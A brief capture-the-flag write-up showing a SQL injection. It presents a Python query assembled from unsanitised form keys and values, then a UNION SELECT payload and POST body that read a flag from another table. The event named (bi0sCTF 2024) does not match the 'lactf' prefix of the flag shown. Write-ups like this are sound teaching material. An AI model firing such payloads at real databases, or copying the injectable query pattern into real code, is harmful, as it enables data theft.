SQL Injection Retreive data on another Tables
bi0sCTF 2024 has officially started
"Welcome" to the game
We know the sql payload didn't get sanitized
query = """
select * from users where {} LIMIT 25;
""".format(
" AND ".join(["{} = '{}'".format(k, v) for k, v in prefs.items()])
)
We can manipulate the k and the v because its from the requests form.
we can get the flag using UNION , here are the payload
' UNION SELECT 1,1,1,1,1,flag FROM flag where '
so the query full will be in the requests.post will be
name=any&guests=' UNION SELECT 1,1,1,1,1,flag FROM flag where '1
so the query full will be
select * from users where name='any' AND guests='' UNION SELECT 1,1,1,1,1,flag FROM flag where '1'
The payload work.
Lets get Flag:
Obtained flag : lactf{us3_s4n1t1z3d_1npu7!!!}